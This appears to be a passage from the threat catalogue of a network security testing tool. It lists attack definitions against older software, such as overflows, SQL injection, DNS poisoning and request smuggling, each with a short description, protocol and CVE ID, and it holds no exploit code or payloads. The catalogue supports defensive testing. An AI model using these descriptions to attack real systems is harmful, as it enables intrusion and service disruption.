Detailed Description:	A denial of service vulnerability exists in OpenLDAP. The vulnerability is due to NULL pointer dereference in the Deref overlay of slapd when certain LDAP request messages are processed. A remote, unauthenticated attacker can exploit this vulnerability by sending a specially crafted packet to the server. Successful exploitation could lead to the OpenLDAP server process terminating abnormally. Tester should set variable \$destPort to 389 before test.
Protocol Type:	LDAP/LDAPS
CVEID:	CVE-2015-1545
OSVDB:	118031
Threat File Name:	xoops_cmi_IPv6.xml
Executive Description:	XOOPS Arbitrary Script Inclusion (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP Request with with a modified URL string containing a path to a script or file that can be included. XOOPS is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3680
OSVDB:	20853
Threat Package:	Standard
Threat File Name:	newsbinpro_bof.xml
Executive Description:	News Bin Pro 5.33 .NBI File Buffer Overflow Vulnerability
Detailed Description:	This threat uses a http server to deliver a malicious nbi file resulting in a buffer overflow and code execution in the News Bin Pro client application. News Bin Pro is a client application, this threat uses a web server listening on port 80 to deliver the payload.
Protocol Type:	HTTP
CVEID:	CVE-2007-1074
Threat Package:	Standard
Threat File Name:	eudora7_1_bof.xml
Executive Description:	Eudora 7.1 SMTP ResponseRemote Remote Buffer Overflow
Detailed Description:	This threat is a server based buffer overflow attack against the eudora mail client, this threat is delivered over SMTP port 25.
Protocol Type:	SMTP
Threat File Name:	lupper31.xml
Executive Description:	Lupper Worm 31
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	FSC20101104-06_Adobe_Reader_printSeps_Memory_Corruption_IPv6.xml
Executive Description:	Adobe Reader printSeps Memory Corruption (IPv6 VERSION)
Detailed Description:	A memory corruption vulnerability exists in Adobe Acrobat and Reader products. The vulnerability is due to a design error error when parsing PDF files containing a JavaScript call to the Doc.printSeps method. Remote attackers could exploit this vulnerability by enticing target users to open the malicious PDF document in a vulnerable version of Adobe Reader. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the currently logged in user. If code execution is failed, the vulnerable application may terminate abnormally.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2010-4091
Threat File Name:	aspnuke_injection_IPv6.xml
Executive Description:	ASPNuke SQL Injection (IPv6 Version)
Detailed Description:	This threat changes the administrator name and password through a SQL injection attack in ASPNuke. ASPNuke is a web application which would typically listen on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2067

OSVDB:	15801
Threat Package:	Standard
Threat File Name:	TSL20070814-07_Microsoft_OLE_Automation_String_Manipulation_Heap_Overflow_IPv6.xml
Executive Description:	Microsoft OLE Automation String Manipulation Heap Overflow(IPv6 Version)
Detailed Description:	There exist a heap buffer overrun vulnerability in Microsoft Object Linking and Embedding (OLE) Automation library. The flaw is due to improper handling of specific integer parameters by certain API function. Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the vulnerable system with the privileges of the currently logged in user. In a simple attack case, the affected Internet Explorer may terminate when the malicious page is opened. In a sophisticated attack scenario, where the malicious user is successful in injecting and executing supplied code, the behaviour of the system is dependent on the nature of the injected code. Any code injected into the vulnerable component would execute in the security context of the currently logged in user.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2007-2224
Threat File Name:	sipunknownheaders.xml
Executive Description:	SIP Unknown Headers
Detailed Description:	This threat sends out a SIP INVITE message with some unknown headers and associated values. This can confuse or crash a PBX that isn't very robust.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	TSL20170201-06_MailStore_Server_search-result_Reflected_Cross-Site_Scripting_IPv6.xml
Executive Description:	MailStore Server search-result Reflected Cross-Site Scripting (IPv6 Version)
Detailed Description:	A reflected cross-site scripting vulnerability has been reported in MailStore Server. The vulnerability is due to insufficient input validation on user input for search results. A remote user can exploit this vulnerability by enticing an authenticated user to click on a malicious link. Successful exploitation results in the execution of arbitrary script code in the target user's web browser.
Protocol Type:	HTTP, HTTPS, IPV6
Threat File Name:	dns_rev.xml
Executive Description:	DNS Reverse Address Lookup Spoofing
Detailed Description:	This threat is an attempt to poison the DNS cache on Microsoft's ISA Server as described in MS04-039. It replicates a reply to a proxy server, trying to alter its DNS information for google.com to point to IP address 192.168.0.5
Protocol Type:	DNS
CVEID:	CVE-2004-0892
Threat Package:	Standard
Threat File Name:	FSC20080408-13_Microsoft_Windows_Scripting_Engines_Script_Encoding_Code_Execution.xml
Executive Description:	Microsoft Windows Scripting Engines Script Encoding Code Execution
Detailed Description:	A memory corruption vulnerability exists in Microsoft Windows Scripting Engine. The flaw is due to a boundary error when decoding scripts in web pages. This vulnerability can be exploited by remote attacker to inject and execute arbitrary code on the target system.
Protocol Type:	HTTP
CVEID:	CVE-2008-0083
Threat Package:	Standard
Threat File Name:	shockwave10_activex_dos_b_IPv6.xml
Executive Description:	Macromedia 10.1.4.20 SwDir.dll Internet Explorer Stack Overflow Denial of Service Vulnerability #2 (IPv6 Version)
Detailed Description:	This threat leverages a flaw in the SWDIR.DLL ActiveX Control that will lead to a denial of service (IE 7 crash). Macromedia Shockwave SWDIR.DLL ActiveX Control is a component of Internet Explorer, a web browser that connects to web servers listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPV6
CVEID:	CVE-2006-6885
Threat Package:	Standard
Threat File Name:	TSL20170314-31_Microsoft_Edge_CVE-2017-0010_Memory_Corruption.xml
Executive Description:	Microsoft Edge CVE-2017-0010 Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Edge. The vulnerability is due to improper use of objects in memory. A remote attacker could exploit the vulnerability by enticing a user to open a maliciously crafted web page. Successful exploitation of this vulnerability could allow the attacker to execute arbitrary code with the privileges of the browser.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-0010
Threat File Name:	FSC20100726-03_Mozilla_Firefox_Plugin_Parameter_Array_Dangling_Pointer.xml
Executive Description:	Mozilla Firefox Plugin Parameter Array Dangling Pointer
Detailed Description:	A code execution vulnerability exists in Mozilla Firefox. The vulnerability is due to an error while handling plugins parameters contained in a malicious <object> tag. A remote attacker can exploit this vulnerability by enticing a target user to visit a specially crafted web page. Exploitation of the vulnerability can result in arbitrary code execution in the context of the application. In attack scenarios where code execution is successful the behaviour of the target system depends entirely on the logic of the injected code, which would run within the security context of the currently logged in user. In situations where code execution is not successful the affected application may terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-2755
Threat Package:	Standard
Threat File Name:	TSL20120627-05_Novell_iPrint_Client_GetDriverSettings_Realm_Parameter_Stack_Buffer_Overflow_IPV6.xml
Executive Description:	Novell iPrint Client GetDriverSettings Realm Parameter Stack Buffer Overflow(IPV6 Version)

Detailed Description:	Two stack buffer overflow vulnerabilities exist in Novell iPrint Client. The vulnerabilities are due to insufficient validation of the Realm parameter to the method GetDriverSettings. A remote attacker can leverage this vulnerability by enticing a target user to open a specially crafted web page. Successful exploitation can allow an attacker to execute arbitrary code on a target system in the security context of the current user. In an unsuccessful attack attempt, the browser may abnormally terminate.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2011-4187
OSVDB:	78955
Threat File Name:	FSC20100318-05_Liquid_XML_Studio_LtXmlComHelp8_dll_ActiveX_OpenFile_Buffer_Overflow_IPv6.xml
Executive Description:	Liquid XML Studio LtXmlComHelp8.dll ActiveX OpenFile Buffer Overflow(IPv6 Version)
Detailed Description:	A stack buffer overflow vulnerability exists in Liquid XML Studio software. Specifically, the vulnerability is in the LtXmlComHelp8.dll ActiveX control with the ClassID "E68E401C-7DB0-4F3A-88E1-159882468A79", it is caused by a boundary error while parsing arguments passed to the "OpenFile()" function. Remote attackers can exploit this vulnerability by enticing target users to visit a malicious web page. Successful exploitation would result in a stack buffer overflow allowing for arbitrary code injection and execution with the privileges of the logged in user.(IPv6 Version)
Protocol Type:	HTTP/HTTPS/IPv6
Threat Package:	Standard
Threat File Name:	firefox_xml_dos_IPv6.xml
Executive Description:	Mozilla Firefox 2.0.0.7 Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat demonstrates a denial of service attack against the Mozilla Firefox browser, this attack is slightly complicated by using a remotely included file. this threat is delivered via TCP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-5339
Threat Package:	Standard
Threat File Name:	ms06-042_import_IPv6.xml
Executive Description:	Internet Explorer CSS Import Crash (IPv6 Version)
Detailed Description:	This threat causes Internet Explorer to crash by sending a malformed webpage. This malformed webpage reassigns null to a css import elements twice, causing a null dereference. This threat would typically come from a malicious web server. Web servers typically listen on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3451
Threat Package:	Standard
Threat File Name:	FSC20090414-03_Microsoft_Office_Excel_Crafted_Picture_Record_Code_Execution.xml
Executive Description:	Microsoft Office Excel Crafted Picture Record Code Execution
Detailed Description:	A memory corruption vulnerability exists in Microsoft Office Excel. The flaw is due to improper handling of a crafted Excel spreadsheet file. An attacker can persuade the target user to open a malicious Excel spreadsheet to exploit this vulnerability. Successful attack could allow for arbitrary code injection and execution with privileges of the currently logged on user. In an attack scenario, where arbitrary code is injected and executed on the target system, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access. If unexpected termination of the vulnerable application is the sole result of an attack, there is no impact to the overall operation of the target host. It is, however, possible to lose all unsaved data due to the abnormal termination.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0100
Threat Package:	Standard
Threat File Name:	FSC20071029-03_Oracle_Database_SYS_LT_FINDRICSET_SQL_Injection.xml
Executive Description:	Oracle Database SYS.LT.FINDRICSET SQL Injection
Detailed Description:	There exists a SQL injection vulnerability in Oracle Database. The vulnerability is due to insufficient sanitization of the input parameter in the "SYS.LT.FINDRICSET" function. A remote authenticated attacker could exploit this vulnerability by embedding malicious SQL code as part of the vulnerable parameter. Successful exploitation would allow "PUBLIC" users to gain "SYS" level privileges.
Protocol Type:	
CVEID:	CVE-2007-5511
Threat Package:	Standard
Threat File Name:	linksys_passwd_IPv6.xml
Executive Description:	Linksys Web Camera File Disclosure (IPv6 Version)
Detailed Description:	This threat attempts to retrieve the password file from the web server on Linksys Web Cameras (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-2507
OSVDB:	7112
Threat Package:	Standard
Threat File Name:	FSC20100119-03_Adobe_Download_Manager_getPlus_ActiveX_Control_Buffer_Overflow.xml
Executive Description:	Adobe Download Manager getPlus ActiveX Control Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Adobe Download Manager that can allow arbitrary code execution. Remote attackers can exploit this vulnerability by enticing affected users to open a malicious web page in a vulnerable version of the product. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. In an attack case where code injection is not successful, the web browser can terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-3958
Threat Package:	Standard
Threat File Name:	samiftp_bof_b_IPv6.xml
Executive Description:	Sami FTP Server 2.0.2 USER/PASS buffer overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat crashes vulnerable Sami FTP Servers when an excessively large USER and PASS string issued from a client. Sami FTP Server is an ftp server that typically listens on port 21. (IPv6 Version)

Protocol Type:	FTP/IPv6
CVEID:	CVE-2006-2212
OSVDB:	25670
Threat Package:	Standard

Threat File Name:	mobbl.xml
Executive Description:	Internet Explorer ADODB.Recordset Crash
Detailed Description:	This threat sends a malformed web page that causes memory corruption in Internet Explorer.
Protocol Type:	HTTP
CVEID:	CVE-2006-3354
OSVDB:	26834
Threat Package:	Standard

Threat File Name:	hrsTomcat2_IPv6.xml
Executive Description:	HTTP Request Smuggling Poisoning 2 (IPv6 Version)
Detailed Description:	This threat attempts to poison the cache of a proxy server by sending two separate content length fields, one which gets parsed by the proxy server and one that gets parsed by Apache Tomcat. This threat will typically be targeted at port 80 or a proxy port. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2090
OSVDB:	17738
Threat Package:	Standard

Threat File Name:	ms03-051_IPv6.xml
Executive Description:	MS03-051 Microsoft Frontpage Server Extension Overflow (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in a debug option contained in Microsoft Frontpage Server extensions. This allows a remote attacker to execute code in with the privileges of the webserver. Frontpage Server Extensions is a addon for Microsoft IIS, and typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2003-0822
OSVDB:	2952
Threat Package:	Standard

Threat File Name:	vivvo_article_manager_sql.xml
Executive Description:	SpoonLabs Vivvo Article Management Pdf_Version.PHP SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Vivvo Article Manager is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard

Threat File Name:	TSL20140714-06_D_Link_HNAP_Request_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	D-Link HNAP Request Stack Buffer Overflow IPv6 Version
Detailed Description:	A remote code execution vulnerability exists in D-Link routers. The vulnerability is due to a stack buffer overflow while processing crafted HTTP POST requests addressed to the HNAP handler. By sending a crafted HTTP request to the target device, a remote unauthenticated attacker can exploit this vulnerability to execute arbitrary code on the affected device with root privileges.
Protocol Type:	HTTP.IPV6
CVEID:	CVE-2014-3936
OSVDB:	107049

Threat File Name:	FSC20091002-01_Google_Apps_googleapps.url.mailto_URI_Argument_Injection.xml
Executive Description:	Google Apps googleapps.url.mailto URI Argument Injection
Detailed Description:	An argument injection vulnerability exists in Google Apps that can allow execution of arbitrary programs on a vulnerable system. The vulnerability is due to an input validation error in googleapps.exe while parsing the "googleapps.url.mailto://" URI. This can allow remote attackers to run arbitrary programs from a remote share, such as a SMB share, via the "--renderer-path" argument. Successful exploitation would result in execution of arbitrary programs on the vulnerable system with the privileges of the logged in user.
Protocol Type:	HTTP/HTTPS/SMB/CIFS
Threat Package:	Standard

Threat File Name:	FSC20081104-04_Adobe_Reader_and_Acrobat_util.printf_Stack_Buffer_Overflow.xml
Executive Description:	Adobe Reader and Acrobat util.printf Stack Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Adobe Reader and Acrobat. The vulnerability is due to insufficient input validation in JavaScript function util.printf. A remote attacker can exploit this vulnerability by enticing the target user to open maliciously constructed files, potentially causing arbitrary code to be injected and executed in the security context of the logged-in user. In an attack case where code injection is not successful, the affected Acrobat application that is parsing the malicious PDF document may terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the currently logged in user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-2992
Threat Package:	Standard

Threat File Name:	TSL20150414-14_Microsoft_HTTPsys_Remote_Code_Execution_IPv6.xml
Executive Description:	Microsoft HTTP.sys Remote Code Execution IPv6 version.
Detailed Description:	A remote code execution vulnerability has been reported in Microsoft HTTP.sys. The vulnerability is due to an issue with the processing of HTTP messages in the HTTP protocol stack. A remote unauthenticated attacker could exploit this vulnerability by sending a specially crafted HTTP request to a vulnerable server.
Protocol Type:	HTTP.IPV6
CVEID:	CVE-2015-1635

Threat File Name:	TSL20170406-02_ManageEngine_Applications_Manager_MenuHandlerServlet_SQL_Injection_IPv6.xml
Executive Description:	ManageEngine Applications Manager MenuHandlerServlet SQL Injection (IPv6 Version)

Detailed Description:	An SQL injection vulnerability exists in ManageEngine Applications Manager. This vulnerability is due to insufficient validation of the config_id parameter when processing requests sent to MenuHandlerServlet servlet. By sending crafted request messages, a remote unauthenticated attacker can exploit this vulnerability to inject and execute arbitrary SQL statements on the affected system with the privileges of SYSTEM.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2016-9488
Threat File Name:	FSC20041029-01_Linux_Kernel_Firewall_Logging_Denial_of_Service_IPv6.xml
Executive Description:	Linux Kernel Firewall Logging Denial of Service (IPv6 Version)
Detailed Description:	A vulnerability exists in the way the Linux kernel 2.6 firewall logs TCP packets. The vulnerability results from improper validation of the TCP header when a TCP segment matches a firewall rule. This vulnerability can allow a remote attacker to cause complete kernel failure on the target system by sending a specially crafted, and possibly spoofed, TCP packet. (IPv6 Version)
Protocol Type:	BRE/IPv6
CVEID:	CVE-2004-0816
Threat Package:	Standard
Threat File Name:	tftpd32_fs_IPv6.xml
Executive Description:	Tftpd32 Format String Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a malicious TFTP GET request containing a format string which causes a spurious write ending in a crash. Tftpd32 is a TFTP daemon which typically listens on port 69 (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat File Name:	sitenews_rfi_IPv6.xml
Executive Description:	Site News Page Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.Site News is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20090528-05_Microsoft_DirectShow_QuickTime_Movie_Parsing_Code_Execution_IPv6.xml
Executive Description:	Microsoft DirectShow QuickTime Movie Parsing Code Execution (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in DirectShow technology in Microsoft DirectX. The vulnerability is due to insufficient validation while parsing QuickTime movie files. Remote attackers can exploit this vulnerability by enticing the target user to open a crafted QuickTime movie file. Successful exploitation may lead to arbitrary code execution in the security context of the logged in user. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected application will terminate abnormally. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-1537
Threat Package:	Standard
Threat File Name:	malformedTOSIP.xml
Executive Description:	Malformed Random IP Packet Type of Service Options
Detailed Description:	This threat sends an IP packet with random Type of Service Options set. Can cause poorly implemented TCP/IP stacks to fail.
Protocol Type:	IP
CVEID:	CVE-2002-0952
OSVDB:	5045
Threat Package:	Standard
Threat File Name:	ipv6_SymantecFirewallTCPOptions_IPv6.xml
Executive Description:	IPv6 Symantec Firewall TCP Options attack (IPv6 Version)
Detailed Description:	This threat sets TCP options in a way that causes the Symantec Firewall software to enter a infinite loop. This causes a denial of service on the machine since the code executing is within kernel space. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	dwl900ap-config.xml
Executive Description:	D-Link DWL900-AP+ Configuration Access
Detailed Description:	This threat tries to grab the configuration file from a DWL900-AP+ access point. This file is accessible over TFTP and contains all the passwords and encryption keys that the AP uses. TFTP typically uses port 69.
Protocol Type:	TFTP
Threat Package:	Standard
Threat File Name:	FSC20070306-02_Apple_QuickTime_udta_Atom_Parsing_Heap_Overflow_Vulnerability_IPv6.xml
Executive Description:	Apple QuickTime udta Atom Parsing Heap Overflow Vulnerability (IPv6 Version)
Detailed Description:	There exists a heap-based buffer overflow vulnerability in Apple QuickTime. The flaw is caused by improper parsing of forged size fields in user data Atoms (udta). By setting this field to an overly large value, an integer overflow occurs resulting in an exploitable heap overflow. Successful exploitation allows remote attackers to execute arbitrary code under the context of the currently logged-in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0714
Threat Package:	Standard
Threat File Name:	TSL20130308-04_Squid_strHdrcptLangGetItem_Value_Denial_of_Service.xml
Executive Description:	Squid strHdrcptLangGetItem Value Denial of Service
Detailed Description:	A denial-of-service vulnerability exists in Squid proxy server. The vulnerability is due to an error when generating an error page. This causes an infinite loop. A remote attacker can exploit this vulnerability by sending a specially crafted HTTP request to a vulnerable server (that is displaying an error page). Authentication may or may not be required depending on the server's configuration. Successful exploitation will cause an infinite loop, which may result in a resource exhaustion denial of service. Tester should set variable \$destPort to 3128 before test.
Protocol Type:	HTTP
CVEID:	CVE-2013-1839

Threat File Name:	zixforum_sqli.xml
Executive Description:	Zix Forum 1.12 SQL Injection (main.asp)
Detailed Description:	This threat sends a crafted HTTP URL containing an SQL statement which is executed by the server that extracts the username and password of administrator in clear text. Zix Forum is a web application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2541
Threat Package:	Standard
Threat File Name:	TSL20111213-05_Microsoft_Office_Word_Hidden_Border_Use-After-Free_IPv6.xml
Executive Description:	Microsoft Office Word Hidden Border Use-After-Free(IPv6 VERSION)
Detailed Description:	A use-after-free vulnerability has been reported in Microsoft Office. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted Word document. A successful attack could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS
CVEID:	CVE-2011-1983
Threat File Name:	sami_ftp_bof_IPv6.xml
Executive Description:	Sami FTP Server Buffer Overflow (IPv6 Version)
Detailed Description:	This threat causes a classic pre-authentication buffer overflow in the Shareware Sami FTP Server software. Sami FTP Server typically listens on port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
Threat Package:	Standard
Threat File Name:	vmware_vielib_dll_activex_rexec.xml
Executive Description:	VmWare Inc version 6.0.0 (vielib.dll 2.2.5.42958) Remote Code Execution Vulnerability
Detailed Description:	This threat demonstrates a flaw in Vmware's vielib.dll ActiveX Control to execute arbitrary commands with the privileges of the affected user. The threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-4155
Threat Package:	Standard
Threat File Name:	FSC20110119-01_Google_Chrome_Uninitialized_bug_report_Pointer_Code_Execution_IPv6.xml
Executive Description:	Google Chrome Uninitialized bug_report Pointer Code Execution(IPv6 Version)
Detailed Description:	A code execution vulnerability has been reported in Google Chrome. The vulnerability is due to accessing an uninitialized memory during processing of URLs with rouge extensions. More specifically, it is due to an invalid write in the browser process when trying to delete an invalid bug_report_pointer. An attacker can leverage this vulnerability by enticing a target user to open a crafted web file. Successful exploitation would allow an attacker to execute arbitrary code in the security context of the logged in user. An unsuccessful attack could cause an abnormal termination of the affected product.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
Threat File Name:	TSL20170503-04_Splunk_Enterprise_alerts_alerts_id_Server-Side_Request_Forgery_IPv6.xml
Executive Description:	Splunk Enterprise alerts alerts_id Server-Side Request Forgery (IPv6 Version)
Detailed Description:	A sever-side request forgery vulnerability has been reported in the alerts web interface of Splunk Enterprise. The vulnerability is due to a lack of validation on the alerts_id parameter in HTTP requests sent to the alerts page. A remote, unauthenticated attacker can exploit this vulnerability by enticing an authenticated user to open a specially crafted page or link. Successful exploitation allows an attacker to obtain the user's API token.
Protocol Type:	HTTP,IPv6
Threat File Name:	FSC20050412-02_Microsoft_Windows_IP_Validation_Vulnerability_IPv6.xml
Executive Description:	Microsoft Windows IP Validation Vulnerability (IPv6 Version)
Detailed Description:	A vulnerability exists in the Microsoft Windows operating systems' processing of IP (Internet Protocol) packets. The affected systems do not perform sufficient validation on IP options fields. This flaw may allow an unauthenticated attacker to cause a denial of service, or inject and execute arbitrary code on the target system. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2005-0048
Threat Package:	Standard
Threat File Name:	FSC20090609-34_Microsoft_Office_Word_File_Processing_Buffer_Overflow.xml
Executive Description:	Microsoft Office Word File Processing Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office Word while processing Word files. This vulnerability is due to a boundary error when processing specially crafted records. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Word file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate unexpectedly. If unexpected termination of the vulnerable application is the sole result of an attack, there is no impact to the overall operation of the target host. It is, however, possible to lose all unsaved data due to the abnormal termination.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0563
Threat Package:	Standard
Threat File Name:	x86NOOPudp3.xml
Executive Description:	UDP x86 NOOP Variant 3
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure greater probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives.
Protocol Type:	UDP
Threat Package:	Standard
Threat File Name:	kerio_mailserver.xml

Executive Description:	Kerio Mailserver Buffer Overflow Attempt
Detailed Description:	This threat attempts to cause a buffer overflow in Kerio Mailserver by supplying a long argument in the URL. This can be used by an attacker to cause a crash or remote code execution. Kerio Mailserver is a web application, and typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2003-0487
OSVDB:	4954
Threat Package:	Standard
Threat File Name:	FSC20090113-02_Nullsoft_Winamp_AIFF_Parsing_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Nullsoft Winamp AIFF Parsing Heap Buffer Overflow (IPv6 Version)
Detailed Description:	A vulnerability exists in the AIFF file parsing component of Nullsoft Winamp. The vulnerability is caused by improper handling of the header of AIFF media files. A remote attacker can exploit this vulnerability by enticing the user to open a crafted AIFF file, thereby creating a denial of service condition or potentially injecting and executing arbitrary code on the target system. Upon an unsuccessful attack attempting to leverage this vulnerability, the Winamp player will terminate. In an attack scenario where arbitrary code is injected and executed on the target machine, the behaviour of the target host is dependent on the intention of the malicious code. Any code injected into the vulnerable program would execute in the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20120730-01_Oracle_Outside_In_JPEG_2000_QCD_Segment_Processing_Heap_Buffer_Overflow.xml
Executive Description:	Oracle Outside In JPEG 2000 QCD Segment Processing Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability exists in Oracle Outside-In, a set of libraries used to decode many file formats. The vulnerability exists when handling the QCD segments in JPEG 2000 files. Oracle Outside-In is embedded in many enterprise applications. This vulnerability can be exploited by causing an application that uses the vulnerable library to handle a malformed JPEG 2000 file. Depending on the application, user interaction may be required. Successful exploitation can result in arbitrary code execution in the context of the affected application.
Protocol Type:	HTTP, HTTPS, IMAP, POP3, SMTP, SMB/CIFS, FTP
CVEID:	CVE-2012-1769
Threat File Name:	FSC20070515-18_Samba_NetDFS_RPC_netdfs_io_dfs_EnumInfo_d_Handling_Heap_Overflow.xml
Executive Description:	Samba NetDFS RPC netdfs_io_dfs_EnumInfo_d Handling Heap Overflow
Detailed Description:	A heap-based buffer overflow vulnerability exists in the way Samba handles RPC messages. The vulnerability is due to a boundary error while performing specific RPC operations. Remote unauthenticated attackers can exploit this vulnerability by sending a specially crafted RPC request to the NetDFS RPC interface. Successful exploitation of this vulnerability allows attackers to execute arbitrary code on the vulnerable system in the context of the affected process.
Protocol Type:	MICROSOFT-DS
CVEID:	CVE-2007-2446
Threat Package:	Standard
Threat File Name:	TSL20160809-29_Microsoft_Windows_Graphics_Component_CVE-2016-3301_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows Graphics Component CVE-2016-3301 Code Execution (IPv6 Version)
Detailed Description:	>A remote code execution vulnerability has been reported in the graphics component of Microsoft Windows. The vulnerability is due to a failure in how the component handles certain objects in the memory. A remote attacker could exploit the vulnerability by enticing a victim user to open a maliciously crafted document or by visiting a crafted site. Successful exploitation could allow the attacker to execute arbitrary code under context of the targeted user.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2016-3301
Threat File Name:	FSC20090814-07_Apple_Safari_Webkit_Floating_Point_Buffer_Overflow.xml
Executive Description:	Apple Safari Webkit Floating Point Buffer Overflow
Detailed Description:	A vulnerability has been reported in Apple Safari's Webkit. The vulnerability is due to incorrect parsing of floating point numbers. Remote attackers could exploit this vulnerability by enticing the target user to open a maliciously crafted web page. Successful exploitation could result in execution of arbitrary code within the security context of the current user. An unsuccessful attempt may abnormally terminate the affected application.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-2195
Threat Package:	Standard
Threat File Name:	FSC20060306-01_Microsoft_Visual_Studio_dbp_and_sln_File_Handling_Buffer_Overflow.xml
Executive Description:	Microsoft Visual Studio dbp and sln File Handling Buffer Overflow
Detailed Description:	There exists a stack based buffer overflow vulnerability in Microsoft Visual Studio. The flaw is caused by improper boundary checks when processing overly long project name strings contained in Database Project (.dbp) files and Solution (.sln) files. An attacker exploiting this vulnerability can inject and execute arbitrary code within the security context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2006-1043
Threat Package:	Standard
Threat File Name:	Firefox_Queryinterfaces_IPv6.xml
Executive Description:	Firefox QueryInterfaces Exploit (IPv6 Version)
Detailed Description:	This threat causes a memory corruption vulnerability that allows an attacker to execute arbitrary code on the victim's web browser. This attack typically would come from a malicious web server, which would be listening on port 80. This is a client attack that affects the browser. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0295
OSVDB:	22893
Threat Package:	Standard
Threat File Name:	mxshop_id_ctg_sqli.xml
Executive Description:	MX Shop Pages Module 'id_ctg' variable SQL Injection
Detailed Description:	This threat sends a crafted URL containing an SQL query which is executed by the server with the servers permissions. MX Shop is a web application which typically listens on port 80.

Protocol Type:	HTTP
CVEID:	CVE-2005-3004
OSVDB:	19611
Threat File Name:	TSL20170207-01_Microsoft_Windows_SMB_Tree_Connect_Response_Denial_of_Service_IPv6.xml
Executive Description:	Microsoft Windows SMB Tree Connect Response Denial of Service (IPv6 Version)
